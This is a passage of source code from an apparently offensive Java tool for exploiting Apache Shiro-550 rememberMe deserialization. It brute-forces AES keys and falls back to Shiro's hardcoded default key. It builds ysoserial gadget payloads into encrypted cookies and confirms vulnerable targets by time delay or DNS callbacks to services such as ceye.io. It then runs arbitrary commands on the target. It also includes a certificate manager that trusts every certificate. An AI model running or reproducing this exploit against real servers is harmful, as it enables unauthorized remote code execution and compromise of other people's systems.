headers; 60 | } 61 | 62 | public void setHeaders(Map headers) { 63 | this.headers = headers; 64 | } 65 | 66 | @Override 67 | public String toString() { 68 | return "HttpRequestInfo{" + 69 | "requestMethod='" + requestMethod + '\'' + 70 | ", requestURL='" + requestURL + '\'' + 71 | ", rememberMeCookie='" + rememberMeCookie + '\'' + 72 | ", requestBody='" + requestBody + '\'' + 73 | ", headers=" + headers + 74 | ", original='" + original + '\'' + 75 | '}'; 76 | } 77 | 78 | public void parse(String body, boolean bool) throws Exception { 79 | setOriginal(body); 80 | //split操作可能会产生异常,所以用 try...catch 进行捕获 81 | //这里把异常抛出来的目的是为了数据校验操作,抛出异常,说明数据输入格式不正确 82 | try{ 83 | body = body.trim(); 84 | String[] parts = body.split("\r\n\r\n|\r\r|\n\n"); 85 | if(parts.length == 2){ 86 | //说明为POST请求,并且有请求体 87 | setRequestBody(parts[1]); 88 | } 89 | 90 | //请求头部 91 | String[] lines = parts[0].split("\r\n|\r|\n"); 92 | //请求起始行 93 | String requestLine = lines[0].trim(); 94 | parts = requestLine.split("\\s+"); 95 | String requestMethod = parts[0]; 96 | setRequestMethod(requestMethod); 97 | String requestURI = parts[1]; 98 | 99 | Map headers = new HashMap<>(); 100 | for(int i = 1; i < lines.length; i++){ 101 | String[] pair = lines[i].trim().split(":",2); 102 | headers.put(pair[0].trim(), pair[1].trim()); 103 | } 104 | setHeaders(headers); 105 | 106 | if(headers.get("Host") == null){ 107 | throw new Exception(); 108 | } 109 | 110 | String url = (bool ? "https://" : "http://"); 111 | url += headers.get("Host").trim() + requestURI; 112 | setRequestURL(url); 113 | 114 | String cookie = headers.get("Cookie"); 115 | if(cookie != null){ 116 | String[] cookies = cookie.trim().split(";"); 117 | for(String temp : cookies){ 118 | temp = temp.trim(); 119 | if(temp.startsWith(Config.getInstance().getRememberMeCookieName() + "=")){ 120 | setRememberMeCookie(Hex.encodeHexString(Base64.decodeBase64(temp.split("=",2)[1].trim()))); 121 | } 122 | } 123 | } 124 | }catch(Exception e){ 125 | e.printStackTrace(); 126 | throw new Exception(); 127 | } 128 | } 129 | } 130 | -------------------------------------------------------------------------------- /src/main/java/com/shiroexploit/util/MyX509TrustManager.java: -------------------------------------------------------------------------------- 1 | package com.shiroexploit.util; 2 | 3 | import javax.net.ssl.TrustManager; 4 | import javax.net.ssl.X509TrustManager; 5 | import java.security.cert.CertificateException; 6 | import java.security.cert.X509Certificate; 7 | 8 | public class MyX509TrustManager implements TrustManager,X509TrustManager { 9 | public X509Certificate[] getAcceptedIssuers() { 10 | return null; 11 | } 12 | 13 | public boolean isServerTrusted(X509Certificate[] certs) { 14 | return true; 15 | } 16 | 17 | public boolean isClientTrusted(X509Certificate[] certs) { 18 | return true; 19 | } 20 | 21 | public void checkServerTrusted(X509Certificate[] certs, String authType) throws CertificateException { 22 | return; 23 | } 24 | 25 | public void checkClientTrusted(X509Certificate[] certs, String authType) throws CertificateException { 26 | return; 27 | } 28 | } 29 | -------------------------------------------------------------------------------- /src/main/java/com/shiroexploit/util/PayloadType.java: -------------------------------------------------------------------------------- 1 | package com.shiroexploit.util; 2 | 3 | import java.util.ArrayList; 4 | import java.util.List; 5 | 6 | public enum PayloadType { 7 | CommonsBeanutils1("CommonsBeanutils1"), 8 | CommonsCollections1("CommonsCollections1"), 9 | CommonsCollections2("CommonsCollections2"), 10 | CommonsCollections3("CommonsCollections3"), 11 | CommonsCollections4("CommonsCollections4"), 12 | CommonsCollections5("CommonsCollections5"), 13 | CommonsCollections6("CommonsCollections6"), 14 | CommonsCollections7("CommonsCollections7"), 15 | CommonsCollections8("CommonsCollections8"), 16 | CommonsCollections9("CommonsCollections9"), 17 | CommonsCollections10("CommonsCollections10"), 18 | Jdk7u21("Jdk7u21"), 19 | Hibernate1("Hibernate1"), 20 | Hibernate2("Hibernate2"), 21 | Spring1("Spring1"), 22 | Spring2("Spring2"), 23 | Spring3("Spring3"), 24 | Myfaces1("Myfaces1"), 25 | Myfaces2("Myfaces2"), 26 | C3P0("C3P0"), 27 | Clojure("Clojure"), 28 | FileUpload1("FileUpload1"), 29 | Groovy1("Groovy1"), 30 | BeanShell1("BeanShell1"), 31 | JBossInterceptors1("JBossInterceptors1"), 32 | JSON1("JSON1"), 33 | JavassistWeld1("JavassistWeld1"), 34 | Jython1("Jython1"), 35 | MozillaRhino1("MozillaRhino1"), 36 | MozillaRhino2("MozillaRhino2"), 37 | ROME("ROME"), 38 | Vaadin1("Vaadin1"), 39 | Wicket1("Wicket1"); 40 | 41 | 42 | private String name; 43 | private PayloadType(String name){ 44 | this.name = name; 45 | } 46 | 47 | public String getName(){ 48 | return this.name; 49 | } 50 | } 51 | -------------------------------------------------------------------------------- /src/main/java/com/shiroexploit/util/RememberMeCache.java: -------------------------------------------------------------------------------- 1 | package com.shiroexploit.util; 2 | 3 | public class RememberMeCache { 4 | private static RememberMeCache rememberMeCache; 5 | 6 | // case "SpringEcho1": 7 | // case "SpringEcho2": 8 | // case "TomcatEcho": 9 | // case "TomcatEcho2": 10 | // case "JBossEcho": 11 | // case "WeblogicEcho": 12 | // case "ResinEcho": 13 | // case "JettyEcho": 14 | // case "AutoFindRequestEcho": 15 | 16 | private String SpringEcho1Cache; 17 | private String SpringEcho2Cache; 18 | private String TomcatEchoCache; 19 | private String TomcatEcho2Cache; 20 | private String JBossEchoCache; 21 | private String WeblogicEchoCache; 22 | private String ResinEchoCache; 23 | private String JettyEchoCache; 24 | private String AutoFindRequestEchoCache; 25 | 26 | private RememberMeCache(){ 27 | 28 | } 29 | 30 | public static RememberMeCache getInstance(){ 31 | if(rememberMeCache == null){ 32 | rememberMeCache = new RememberMeCache(); 33 | } 34 | 35 | return rememberMeCache; 36 | } 37 | 38 | public String getSpringEcho1Cache() { 39 | return SpringEcho1Cache; 40 | } 41 | 42 | public void setSpringEcho1Cache(String springEcho1Cache) { 43 | SpringEcho1Cache = springEcho1Cache; 44 | } 45 | 46 | public String getSpringEcho2Cache() { 47 | return SpringEcho2Cache; 48 | } 49 | 50 | public void setSpringEcho2Cache(String springEcho2Cache) { 51 | SpringEcho2Cache = springEcho2Cache; 52 | } 53 | 54 | public String getTomcatEchoCache() { 55 | return TomcatEchoCache; 56 | } 57 | 58 | public void setTomcatEchoCache(String tomcatEchoCache) { 59 | TomcatEchoCache = tomcatEchoCache; 60 | } 61 | 62 | public String getTomcatEcho2Cache() { 63 | return TomcatEcho2Cache; 64 | } 65 | 66 | public void setTomcatEcho2Cache(String tomcatEcho2Cache) { 67 | TomcatEcho2Cache = tomcatEcho2Cache; 68 | } 69 | 70 | public String getJBossEchoCache() { 71 | return JBossEchoCache; 72 | } 73 | 74 | public void setJBossEchoCache(String JBossEchoCache) { 75 | this.JBossEchoCache = JBossEchoCache; 76 | } 77 | 78 | public String getWeblogicEchoCache() { 79 | return WeblogicEchoCache; 80 | } 81 | 82 | public void setWeblogicEchoCache(String weblogicEchoCache) { 83 | WeblogicEchoCache = weblogicEchoCache; 84 | } 85 | 86 | public String getResinEchoCache() { 87 | return ResinEchoCache; 88 | } 89 | 90 | public void setResinEchoCache(String resinEchoCache) { 91 | ResinEchoCache = resinEchoCache; 92 | } 93 | 94 | public String getJettyEchoCache() { 95 | return JettyEchoCache; 96 | } 97 | 98 | public void setJettyEchoCache(String jettyEchoCache) { 99 | JettyEchoCache = jettyEchoCache; 100 | } 101 | 102 | public String getAutoFindRequestEchoCache() { 103 | return AutoFindRequestEchoCache; 104 | } 105 | 106 | public void setAutoFindRequestEchoCache(String autoFindRequestEchoCache) { 107 | AutoFindRequestEchoCache = autoFindRequestEchoCache; 108 | } 109 | 110 | public void setRememberMe(EchoType echoType, String rememberMeCookie){ 111 | if(echoType.getName().equals("SpringEcho1")){ 112 | setSpringEcho1Cache(rememberMeCookie); 113 | }else if(echoType.getName().equals("SpringEcho2")){ 114 | setSpringEcho2Cache(rememberMeCookie); 115 | }else if(echoType.getName().equals("TomcatEcho")) { 116 | setTomcatEchoCache(rememberMeCookie); 117 | }else if(echoType.getName().equals("TomcatEcho2")){ 118 | setTomcatEcho2Cache(rememberMeCookie); 119 | }else if(echoType.getName().equals("JBossEcho")){ 120 | setJBossEchoCache(rememberMeCookie); 121 | }else if(echoType.getName().equals("WeblogicEcho")){ 122 | setWeblogicEchoCache(rememberMeCookie); 123 | }else if(echoType.getName().equals("ResinEcho")){ 124 | setResinEchoCache(rememberMeCookie); 125 | }else if(echoType.getName().equals("JettyEcho")){ 126 | setJettyEchoCache(rememberMeCookie); 127 | }else if(echoType.getName().equals("AutoFindRequestEcho")){ 128 | setAutoFindRequestEchoCache(rememberMeCookie); 129 | } 130 | } 131 | 132 | public String getRememberMe(EchoType echoType){ 133 | if(echoType.getName().equals("SpringEcho1")){ 134 | return getSpringEcho1Cache(); 135 | }else if(echoType.getName().equals("SpringEcho2")){ 136 | return getSpringEcho2Cache(); 137 | }else if(echoType.getName().equals("TomcatEcho")){ 138 | return getTomcatEchoCache(); 139 | } else if(echoType.getName().equals("TomcatEcho2")){ 140 | return getTomcatEcho2Cache(); 141 | }else if(echoType.getName().equals("JBossEcho")){ 142 | return getJBossEchoCache(); 143 | }else if(echoType.getName().equals("WeblogicEcho")){ 144 | return getWeblogicEchoCache(); 145 | }else if(echoType.getName().equals("ResinEcho")){ 146 | return getResinEchoCache(); 147 | }else if(echoType.getName().equals("JettyEcho")){ 148 | return getJettyEchoCache(); 149 | }else if(echoType.getName().equals("AutoFindRequestEcho")){ 150 | return getAutoFindRequestEchoCache(); 151 | } 152 | 153 | return null; 154 | } 155 | 156 | 157 | } 158 | -------------------------------------------------------------------------------- /src/main/java/com/shiroexploit/util/Tools.java: -------------------------------------------------------------------------------- 1 | package com.shiroexploit.util; 2 | 3 | import com.shiroexploit.core.AesEncrypt; 4 | import org.apache.commons.codec.DecoderException; 5 | import org.apache.commons.codec.binary.Base64; 6 | import org.apache.commons.codec.binary.Hex; 7 | import org.json.JSONArray; 8 | import org.json.JSONObject; 9 | import java.io.*; 10 | import java.net.MalformedURLException; 11 | import java.net.URL; 12 | import java.net.URLEncoder; 13 | import java.util.*; 14 | 15 | public class Tools { 16 | 17 | public static int deleteMeBaseCount = 1; 18 | 19 | public static String xor(String hex1, String hex2){ 20 | if(hex1.length() % 2 !=0){ 21 | hex1 = 0 + hex1; 22 | } 23 | 24 | if(hex2.length() % 2 != 0){ 25 | hex2 = 0 + hex2; 26 | } 27 | 28 | int len = Math.min(hex1.length(), hex2.length()); 29 | StringBuffer sb = new StringBuffer(); 30 | for(int i=0; i < len; i=i+2){ 31 | String temp1 = hex1.substring(hex1.length()-i-2, hex1.length()-i); 32 | String temp2 = hex2.substring(hex2.length()-i-2, hex2.length()-i); 33 | int num1 = Integer.parseInt(temp1,16); 34 | int num2 = Integer.parseInt(temp2,16); 35 | 36 | int res = num1 ^ num2; 37 | String hex = Integer.toHexString(res); 38 | if(hex.length() < 2){ 39 | hex = 0 + hex; 40 | } 41 | 42 | sb.insert(0, hex); 43 | } 44 | 45 | return sb.toString(); 46 | } 47 | 48 | public static String generateSuffix(int num) { 49 | if (num == 1) { 50 | return ""; 51 | } 52 | 53 | String result = ""; 54 | for (int i = 0; i < (num - 1); i++) { 55 | String hex = Integer.toHexString(num); 56 | if (hex.length() < 2) { 57 | hex = "0" + hex; 58 | } 59 | result += hex; 60 | } 61 | 62 | return result; 63 | } 64 | 65 | public static String generatePayload(String rememberMe, String IV, String cipherText){ 66 | String payload = rememberMe + IV + cipherText; 67 | byte[] bytes = new byte[0]; 68 | try { 69 | bytes = Hex.decodeHex(payload); 70 | } catch (DecoderException e) { 71 | e.printStackTrace(); 72 | } 73 | 74 | return Base64.encodeBase64String(bytes); 75 | } 76 | 77 | public static byte[] exec(String cmd){ 78 | Process process = null; 79 | try { 80 | if(File.separator.equals("/")){ 81 | process = Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", cmd}); 82 | }else{ 83 | process = Runtime.getRuntime().exec(new String[]{"cmd.exe", "/C", cmd}); 84 | } 85 | } catch (IOException e) { 86 | e.printStackTrace(); 87 | } 88 | 89 | InputStream in1 = process.getInputStream(); 90 | byte[] stdout = inputStreamToBytes(in1); 91 | 92 | InputStream in2 = process.getErrorStream(); 93 | byte[] stderr = inputStreamToBytes(in2); 94 | 95 | if(stdout.length != 0){ 96 | return stdout; 97 | }else{ 98 | return stderr; 99 | } 100 | } 101 | 102 | public static byte[] inputStreamToBytes(InputStream in){ 103 | ByteArrayOutputStream baos = null; 104 | try{ 105 | baos = new ByteArrayOutputStream(); 106 | int len = 0; 107 | byte[] bytes = new byte[1024]; 108 | while((len = in.read(bytes)) != -1){ 109 | baos.write(bytes, 0, len); 110 | } 111 | 112 | byte[] result = baos.toByteArray(); 113 | return result; 114 | }catch(IOException e){ 115 | return null; 116 | }finally { 117 | try { 118 | if(baos != null){ 119 | baos.close(); 120 | } 121 | 122 | if(in != null){ 123 | in.close(); 124 | } 125 | } catch (IOException e) { 126 | e.printStackTrace(); 127 | } 128 | } 129 | } 130 | 131 | public static String getValidKeyFromCeye(Map map, String token){ 132 | try{ 133 | //延迟几秒,确保ceye产生正确的响应 134 | Thread.sleep(Config.getInstance().getFetchDNSLogResultDealy() * 1000); 135 | } catch (InterruptedException e) { 136 | e.printStackTrace(); 137 | } 138 | 139 | for(String uuid : map.keySet()){ 140 | String url = "http://api.ceye.io/v1/records?token=" + token + "&type=dns&filter=" + uuid.substring(0,20); 141 | 142 | String result = null; 143 | try { 144 | result = HttpRequest.getResponse(url); 145 | } catch (IOException e) { 146 | //pass 147 | } 148 | 149 | if(result == null) continue; 150 | if(result.trim().equals("")) continue; 151 | JSONObject jsonObject = new JSONObject(result); 152 | JSONArray array = jsonObject.getJSONArray("data"); 153 | if(array.length() > 0){ 154 | return map.get(uuid); 155 | } 156 | } 157 | 158 | return null; 159 | } 160 | 161 | public static List getValidGadgetsFromCeye(Map map, String token){ 162 | try{ 163 | //延迟几秒,确保ceye产生正确的响应 164 | Thread.sleep(Config.getInstance().getFetchDNSLogResultDealy() * 1000); 165 | } catch (InterruptedException e) { 166 | e.printStackTrace(); 167 | } 168 | 169 | List list = new ArrayList<>(); 170 | 171 | for(String uuid : map.keySet()){ 172 | String url = "http://api.ceye.io/v1/records?token=" + token + "&type=dns&filter=" + uuid.substring(0,20); 173 | String result = null; 174 | try { 175 | result = HttpRequest.getResponse(url); 176 | } catch (IOException e) { 177 | //pass 178 | } 179 | if(result == null) continue; 180 | if(result.trim().equals("")) continue; 181 | JSONObject jsonObject = new JSONObject(result); 182 | JSONArray array = jsonObject.getJSONArray("data"); 183 | if(array.length() > 0){ 184 | list.add(map.get(uuid)); 185 | } 186 | } 187 | 188 | return list; 189 | } 190 | 191 | public static boolean getCeyeResult(String uuid, String token){ 192 | try{ 193 | //延迟几秒,确保ceye产生正确的响应 194 | Thread.sleep(Config.getInstance().getFetchDNSLogResultDealy() * 1000); 195 | } catch (InterruptedException e) { 196 | e.printStackTrace(); 197 | } 198 | 199 | String url = "http://api.ceye.io/v1/records?token=" + token + "&type=dns&filter=" + uuid.substring(0,20); 200 | String result = null; 201 | try { 202 | result = HttpRequest.getResponse(url); 203 | } catch (IOException e) { 204 | e.printStackTrace(); 205 | } 206 | 207 | JSONObject jsonObject = new JSONObject(result); 208 | JSONArray array = jsonObject.getJSONArray("data"); 209 | if(array.length() > 0){ 210 | return true; 211 | } 212 | 213 | return false; 214 | } 215 | 216 | public static String getValidKeyFromDNSLog(Map map) 217 | { 218 | try { 219 | Thread.sleep(Config.getInstance().getFetchDNSLogResultDealy() * 1000); 220 | } catch (InterruptedException e) { 221 | e.printStackTrace(); 222 | } 223 | 224 | String dnsRecord; 225 | try { 226 | dnsRecord = HttpRequest.getDNSLogResult(); 227 | } catch (IOException e) { 228 | return null; 229 | } 230 | 231 | if (dnsRecord == null) return null; 232 | 233 | for (String uuid : map.keySet()) { 234 | if (dnsRecord.contains(uuid)) { 235 | return map.get(uuid); 236 | } 237 | } 238 | 239 | return null; 240 | } 241 | 242 | public static List getValidGadgetsFromDNSLog(Map map) { 243 | List list = new ArrayList(); 244 | 245 | try { 246 | Thread.sleep(Config.getInstance().getFetchDNSLogResultDealy() * 1000); 247 | } catch (InterruptedException e) { 248 | e.printStackTrace(); 249 | } 250 | 251 | String dnsRecord = null; 252 | try { 253 | dnsRecord = HttpRequest.getDNSLogResult(); 254 | } catch (IOException e) { 255 | //pass 256 | } 257 | 258 | if (dnsRecord == null) return list; 259 | 260 | 261 | for (String uuid : map.keySet()) { 262 | if (dnsRecord.contains(uuid)) { 263 | list.add(map.get(uuid)); 264 | } 265 | } 266 | 267 | return list; 268 | } 269 | 270 | public static boolean getValidDNSLogRecord(String uuid) 271 | { 272 | try { 273 | Thread.sleep(Config.getInstance().getFetchDNSLogResultDealy() * 1000); 274 | } catch (InterruptedException e) { 275 | e.printStackTrace(); 276 | } 277 | 278 | String dnsRecord; 279 | try { 280 | dnsRecord = HttpRequest.getDNSLogResult(); 281 | } catch (IOException e) { 282 | return false; 283 | } 284 | 285 | if (dnsRecord == null) return false; 286 | 287 | return dnsRecord.contains(uuid); 288 | } 289 | 290 | public static void setJRMPServer(String ip, int port, PayloadType type, String cmd){ 291 | String finalcmd = ""; 292 | try { 293 | finalcmd = URLEncoder.encode(cmd,"UTF-8"); 294 | finalcmd = finalcmd.replaceAll("\\+","%20"); 295 | } catch (UnsupportedEncodingException e) { 296 | e.printStackTrace(); 297 | } 298 | 299 | String url = "http://" + ip + ":" + port + "/jrmp?type=" + type.getName() + "&cmd=" + finalcmd; 300 | 301 | try { 302 | HttpRequest.getResponse(url); 303 | } catch (IOException e) { 304 | //pass 305 | } 306 | 307 | //给时间让server端把JRMPListener建立起来 308 | try { 309 | Thread.sleep(2000); 310 | } catch (InterruptedException e) { 311 | e.printStackTrace(); 312 | } 313 | } 314 | 315 | public static void killJRMPListener(int port){ 316 | if(File.separator.equals("/")){ 317 | killJRMPListenerInLinux(port); 318 | }else{ 319 | killJRMPListenerInWindows(port); 320 | } 321 | } 322 | 323 | public static void killJRMPListenerInWindows(int port){ 324 | String pid = null; 325 | String getPid = "netstat -ano | findstr \"" + port + "\""; 326 | byte[] res = exec(getPid); 327 | String result = new String(res); 328 | if(result.trim().equals("")) return; 329 | String[] lines = result.split("\r\n|\n"); 330 | for(String line : lines){ 331 | String[] parts = line.trim().split("\\s+"); 332 | if(parts[3].equalsIgnoreCase("listening")){ 333 | pid = parts[4]; 334 | break; 335 | } 336 | } 337 | 338 | if(pid != null){ 339 | String killPid = "taskkill /F /pid " + pid; 340 | exec(killPid); 341 | } 342 | } 343 | 344 | public static void killJRMPListenerInLinux(int port){ 345 | String pid = null; 346 | String getPid = "lsof -i:" + port; 347 | byte[] res = exec(getPid); 348 | String result = new String(res); 349 | if(result.trim().equals("")) return; 350 | String[] lines = result.split("\r\n|\n"); 351 | String[] parts = lines[1].trim().split("\\s+"); 352 | pid = parts[1]; 353 | 354 | if(pid != null){ 355 | String killPid = "kill -9 " + pid; 356 | exec(killPid); 357 | } 358 | } 359 | 360 | public static List getPaths(String staticFilePath){ 361 | List paths = new ArrayList<>(); 362 | 363 | URL url = null; 364 | try { 365 | url = new URL(staticFilePath); 366 | } catch (MalformedURLException e) { 367 | e.printStackTrace(); 368 | } 369 | String path = url.getPath(); 370 | 371 | if(path.startsWith("\\") || path.startsWith("/")){ 372 | path = path.substring(1); 373 | } 374 | 375 | paths.add(path); 376 | 377 | int index1 = path.indexOf("/"); 378 | int index2 = path.indexOf("\\"); 379 | int index = -1; 380 | 381 | if(index1 >= 0 && index2 >= 0){ 382 | index = index1 < index2 ? index1 : index2; 383 | }else if(index1 < 0 && index2 < 0){ 384 | index = -1; 385 | }else{ 386 | index = index1 > index2 ? index1 : index2; 387 | } 388 | 389 | if(index >= 0){ 390 | path = path.substring(index + 1); 391 | paths.add(path); 392 | } 393 | 394 | return paths; 395 | } 396 | 397 | public static List getPayloadNames(){ 398 | List list = new ArrayList<>(); 399 | 400 | for(PayloadType type : PayloadType.values()) { 401 | list.add(type.getName()); 402 | } 403 | 404 | return list; 405 | } 406 | 407 | public static List getEchoTypes(){ 408 | List list = new ArrayList<>(); 409 | 410 | for(EchoType type : EchoType.values()) { 411 | list.add(type.getName()); 412 | } 413 | 414 | return list; 415 | } 416 | 417 | public static T randomSelect(List list){ 418 | int index = new Random().nextInt(list.size()); 419 | return list.get(index); 420 | } 421 | 422 | public static void getDeleteMeBaseCount(){ 423 | String command = "java -jar \"" + System.getProperty("user.dir") + File.separator + "ysoserial.jar\" ShiroCheck anything"; 424 | byte[] payload = Tools.exec(command); 425 | //故意设置的一个错误的 Key 426 | String rememberMe = AesEncrypt.encrypt("66666666666666666666Ng==", payload); 427 | 428 | Tools.deleteMeBaseCount = HttpRequest.getDeleteMeCount(Config.getInstance().getRequestInfo(), rememberMe); 429 | } 430 | 431 | public static String getValidKeyUsingSimplePrincipalCollection(){ 432 | System.out.println("[*] Trying identify valid key using SimplePrincipalCollection by l1nk3r"); 433 | 434 | getDeleteMeBaseCount(); 435 | 436 | for(String key : Config.getInstance().getKeys()){ 437 | System.out.println("[*] Trying Key: " + key); 438 | String command = "java -jar \"" + System.getProperty("user.dir") + File.separator + "ysoserial.jar\" ShiroCheck anything"; 439 | byte[] payload = Tools.exec(command); 440 | String rememberMe = AesEncrypt.encrypt(key, payload); 441 | if(HttpRequest.getDeleteMeCount(Config.getInstance().getRequestInfo(), rememberMe) < Tools.deleteMeBaseCount){ 442 | return key; 443 | } 444 | } 445 | 446 | return null; 447 | } 448 | } 449 | -------------------------------------------------------------------------------- /src/main/java/com/shiroexploit/vulnverifier/Shiro550VerifierUsingEcho.java: -------------------------------------------------------------------------------- 1 | package com.shiroexploit.vulnverifier; 2 | 3 | import com.shiroexploit.core.AesEncrypt; 4 | import com.shiroexploit.util.*; 5 | import java.io.File; 6 | import java.util.*; 7 | 8 | public class Shiro550VerifierUsingEcho implements Verifier{ 9 | private Config config; 10 | private String key; 11 | private List gadgets; 12 | private List echoTypes; 13 | 14 | public Shiro550VerifierUsingEcho(){ 15 | System.out.println("[*] Using Shiro550VerifiertUsingEcho"); 16 | this.config = Config.getInstance(); 17 | this.gadgets = new ArrayList<>(); 18 | this.echoTypes = new ArrayList<>(); 19 | } 20 | 21 | @Override 22 | public void getValidGadget() throws ExploitFailedException { 23 | this.key = Tools.getValidKeyUsingSimplePrincipalCollection(); 24 | if(this.key == null){ 25 | if(config.getSessionId() != null && !config.getSessionId().isEmpty() && config.getDnsLogRecord() != null && !config.getDnsLogRecord().isEmpty()){ 26 | Map keyMap = sendURLDNSPayloads(); 27 | this.key = Tools.getValidKeyFromDNSLog(keyMap); 28 | }else{ 29 | System.out.println("[!] dnslog.cn is currently not available, skip URLDNS method"); 30 | } 31 | 32 | } 33 | 34 | if(this.key == null){ 35 | // throw new ExploitFailedException("[-] Can not find a valid key"); 36 | // 这里的目的以为遇到一个 bug,即使 key 正确, 在反序列化 SimplePrincipalCollection 的时候仍然返回了 rememberMe=deleteMe 37 | // 这里为了防止这种问题再次发生,即使找不到 key, 也使用 Shiro 默认的 key 把所有的 gadget 跑一遍 38 | System.out.println("[-] Can not find a valid key"); 39 | System.out.println("[!] Continue with Shiro default key:kPH+bIxk5D2deZiIxcaaaA=="); 40 | this.key = "kPH+bIxk5D2deZiIxcaaaA=="; 41 | }else{ 42 | System.out.println("[+] Find Valid Key: " + this.key); 43 | } 44 | 45 | for(PayloadType type : config.getGadgets()){ 46 | System.out.println("[*] Trying Gadget: " + type.getName()); 47 | 48 | String command = "java -jar \"" + System.getProperty("user.dir") + File.separator + "ysoserial.jar\" " + type.getName() 49 | + " directive:sleep:10"; 50 | 51 | byte[] payload = Tools.exec(command); 52 | String rememberMe = AesEncrypt.encrypt(key, payload); 53 | 54 | int delay = HttpRequest.getRequestDelay(config.getRequestInfo(),rememberMe); 55 | if(delay >= 9){ 56 | int secondTest = delay + 5; 57 | command = "java -jar \"" + System.getProperty("user.dir") + File.separator + "ysoserial.jar\" " + type.getName() 58 | + " directive:sleep:" + secondTest; 59 | 60 | payload = Tools.exec(command); 61 | rememberMe = AesEncrypt.encrypt(key, payload); 62 | delay = HttpRequest.getRequestDelay(config.getRequestInfo(),rememberMe); 63 | 64 | if(delay >= secondTest - 1){ 65 | System.out.println("[+] Time delay confirmed, target seems vulnerable"); 66 | this.key = key; 67 | this.gadgets.add(type); 68 | 69 | getValidEchoMethod(); 70 | 71 | if(this.echoTypes.size() > 0){ 72 | System.out.println("[+] Vuln Confirmed"); 73 | System.out.println("[+] Find Valid Key: " + this.key); 74 | System.out.println("[+] Find Valid Gadget: " + this.gadgets.get(0)); 75 | for(EchoType echoType : this.echoTypes){ 76 | System.out.println("[+] Find Valid Echo Method: " + echoType.getName()); 77 | } 78 | break; 79 | }else{ 80 | System.out.println("[-] can not find a valid echo method"); 81 | System.out.println("[+] Identified Key: " + this.key); 82 | System.out.println("[+] Identified Gadget: " + this.gadgets.get(0)); 83 | this.gadgets.clear(); 84 | } 85 | } 86 | } 87 | } 88 | 89 | if(this.gadgets.size() == 0){ 90 | throw new ExploitFailedException("[-] Can not find a valid key or find a valid Gadget!"); 91 | } 92 | } 93 | 94 | private void getValidEchoMethod(){ 95 | System.out.println("[*] Trying different echo methods"); 96 | this.echoTypes = EchoUtil.getValidEchoType(this.key, this.gadgets.get(0)); 97 | } 98 | 99 | @Override 100 | public String executeCmd(String cmd) { 101 | PayloadType payloadType = Tools.randomSelect(gadgets); 102 | EchoType echoType = Tools.randomSelect(echoTypes); 103 | 104 | if(cmd.startsWith("directive:")){ 105 | System.out.println("[*] Using Key " + this.key); 106 | System.out.println("[*] Using Gadget " + payloadType.getName()); 107 | System.out.println("[*] Executing command: " + cmd + "..."); 108 | String command = "java -jar \"" + System.getProperty("user.dir") + File.separator + "ysoserial.jar\" " + payloadType.getName() + " \"" + cmd + "\""; 109 | byte[] result = Tools.exec(command); 110 | String rememberMe = AesEncrypt.encrypt(this.key, result); 111 | 112 | HttpRequest.request(config.getRequestInfo(), rememberMe); 113 | System.out.println("[+] Done"); 114 | return ""; 115 | } 116 | 117 | System.out.println(""); 118 | System.out.println("[*] Using Key " + this.key); 119 | System.out.println("[*] Using Gadget " + payloadType.getName()); 120 | System.out.println("[*] Using Echo Method " + echoType.getName()); 121 | System.out.println("[*] Executing command: " + cmd + "..."); 122 | 123 | 124 | String result = EchoUtil.getEchoResult(key, payloadType, cmd, echoType); 125 | System.out.println("[+] Done"); 126 | 127 | return result; 128 | } 129 | 130 | private Map sendURLDNSPayloads(){ 131 | Map map = new HashMap<>(); 132 | 133 | for(String key : config.getKeys()){ 134 | System.out.println("[*] Trying Key: " + key); 135 | String uuid = UUID.randomUUID().toString().replaceAll("-", ""); 136 | String command = "java -jar \"" + System.getProperty("user.dir") + File.separator + "ysoserial.jar\" URLDNS " + "http://" + uuid + "." + config.getDnsLogRecord(); 137 | byte[] payload = Tools.exec(command); 138 | String rememberMe = AesEncrypt.encrypt(key, payload); 139 | HttpRequest.request(config.getRequestInfo(), rememberMe); 140 | map.put(uuid, key); 141 | } 142 | 143 | return map; 144 | } 145 | } 146 | -------------------------------------------------------------------------------- /src/main/java/com/shiroexploit/vulnverifier/Shiro550VerifiertUsingCeye.java: -------------------------------------------------------------------------------- 1 | package com.shiroexploit.vulnverifier; 2 | 3 | import com.shiroexploit.core.AesEncrypt; 4 | import com.shiroexploit.util.*; 5 | import java.io.File; 6 | import java.util.*; 7 | 8 | public class Shiro550VerifiertUsingCeye implements Verifier { 9 | private Config config; 10 | private String key; 11 | private List gadgets; 12 | private Boolean flag = false; 13 | 14 | public Shiro550VerifiertUsingCeye(){ 15 | System.out.println("[*] Using Shiro550VerifiertUsingCeye"); 16 | this.config = Config.getInstance(); 17 | this.gadgets = new ArrayList<>(); 18 | } 19 | 20 | 21 | @Override 22 | public void getValidGadget() throws ExploitFailedException { 23 | this.key = Tools.getValidKeyUsingSimplePrincipalCollection(); 24 | if(this.key == null){ 25 | System.out.println("[!] Can not find a valid key"); 26 | System.out.println("[!] Regression with URLDNS method"); 27 | Map keyMap = sendURLDNSPayloads(); 28 | this.key = Tools.getValidKeyFromCeye(keyMap, config.getCeyeToken()); 29 | } 30 | 31 | if(this.key == null){ 32 | throw new ExploitFailedException("[-] Can not find a valid key"); 33 | } 34 | System.out.println("[+] Find Valid Key: " + this.key); 35 | 36 | Map gadgetMap = sendAllCurlPayloads(); 37 | this.gadgets = Tools.getValidGadgetsFromCeye(gadgetMap, config.getCeyeToken()); 38 | if(this.gadgets.size() == 0){ 39 | throw new ExploitFailedException("[-] Can not find a valid gadget"); 40 | } 41 | 42 | for(PayloadType type : gadgets){ 43 | System.out.println("[+] Find Valid Gadget: " + type.getName()); 44 | } 45 | 46 | this.flag = true; 47 | } 48 | 49 | @Override 50 | public String executeCmd(String cmd){ 51 | PayloadType payloadType = Tools.randomSelect(gadgets); 52 | 53 | System.out.println("[*] Using Key " + this.key); 54 | System.out.println("[*] Using Gadget " + payloadType.getName()); 55 | System.out.println("[*] Executing command: " + cmd + "..."); 56 | String command = "java -jar \"" + System.getProperty("user.dir") + File.separator + "ysoserial.jar\" " + payloadType.getName() + " \"" + cmd + "\""; 57 | byte[] result = Tools.exec(command); 58 | String rememberMe = AesEncrypt.encrypt(this.key, result); 59 | 60 | HttpRequest.request(config.getRequestInfo(), rememberMe); 61 | System.out.println("[+] Done"); 62 | 63 | return null; 64 | } 65 | 66 | private Map sendAllCurlPayloads(){ 67 | Map map = new HashMap<>(); 68 | 69 | for(PayloadType payloadType : config.getGadgets()){ 70 | System.out.println("[*] Trying Gadget: " + payloadType.getName()); 71 | 72 